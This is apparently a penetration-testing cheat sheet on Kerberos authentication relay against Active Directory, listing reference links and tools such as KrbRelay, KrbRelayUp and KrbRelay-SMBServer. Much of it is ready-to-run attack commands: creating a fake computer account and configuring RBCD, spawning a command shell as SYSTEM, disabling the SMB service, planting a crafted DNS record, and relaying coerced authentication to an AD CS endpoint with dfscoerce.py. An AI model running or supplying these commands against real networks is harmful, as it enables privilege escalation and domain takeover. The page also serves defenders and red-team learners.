Kerberos Relay

• https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

mitm6 + Kerberos DNS Relay + AD CS ESC8

• https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/

Tools

KrbRelay

• https://github.com/cube0x0/KrbRelay

• https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9

• https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials.html

KrbRelayUp

• https://github.com/Dec0ne/KrbRelayUp

• https://www.microsoft.com/security/blog/2022/05/25/detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup/

• https://github.com/BronzeBee/DavRelayUp

• https://github.com/Dec0ne/DavRelayUp

RELAY

Relay authentication to LDAP(S) with automatic machine creation and configure RBCD:

PS > .\KrbRelayUp.exe RELAY [-d|--Domain megacorp.local] [-dc|--DomainController DC01.megacorp.local] [-m|--Method RBCD] -c|--CreateNewComputerAccount [-cn|--ComputerName FAKEMACHINE$] [-cp|--ComputerPassword Passw0rd!]

Perform RBCD with UPNs:

PS > .\KrbRelayUp.exe RELAY -u2u -cn j.doe -cp Passw0rd!

RBCD with UPNs

SPAWN

Execute a command as NT AUTHORITY\SYSTEM via RBCD abuse:

PS > .\KrbRelayUp.exe SPAWN [-m|--Method RBCD] [-i|--Impersonate administrator] [-s|ServiceName PwnSVC] [-sc|--ServiceCommand C:\Windows\System32\cmd.exe] -cn|--ComputerName FAKEMACHINE$ -cp|--ComputerPassword Passw0rd! [or -ch|--ComputerPasswordHash fc525c9683e8fe067095ba2ddc971889]

As @ShitSecure mentioned, executing the binary as a .NET Reflective Assembly from PowerShell will fail because the PowerShell process will have already initialized the security parameters for COM itself after having been launched, so CoInitializeSecurity will not contain those new parameters attempted to set by KrbRelay(Up).

KrbRelay-SMBServer

• https://github.com/decoder-it/KrbRelay-SMBServer

PS > Invoke-DNSUpdate -DNSName adcs1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -DNSData 10.10.13.37
PS > Set-Service -Name LanmanServer -StartupType Disabled; Stop-Service -Name LanmanServer -Force; Stop-Service -Name srv2 -Force; Stop-Service -Name srvnet -Force
PS > Set-Service -Name LanmanServer -StartupType Automatic; Start-Service -Name LanmanServer; Start-Service -Name srv2; Start-Service -Name srvnet
PS > .\KrbRelay.exe -spn HTTP/ADCS.megacorp.local -redirecthost adcs1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -endpoint certsrv -adcs DomainController -listenerport 445
$ dfscoerce.py -d megacorp.local -u snovvcrash -k -no-pass adcs1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA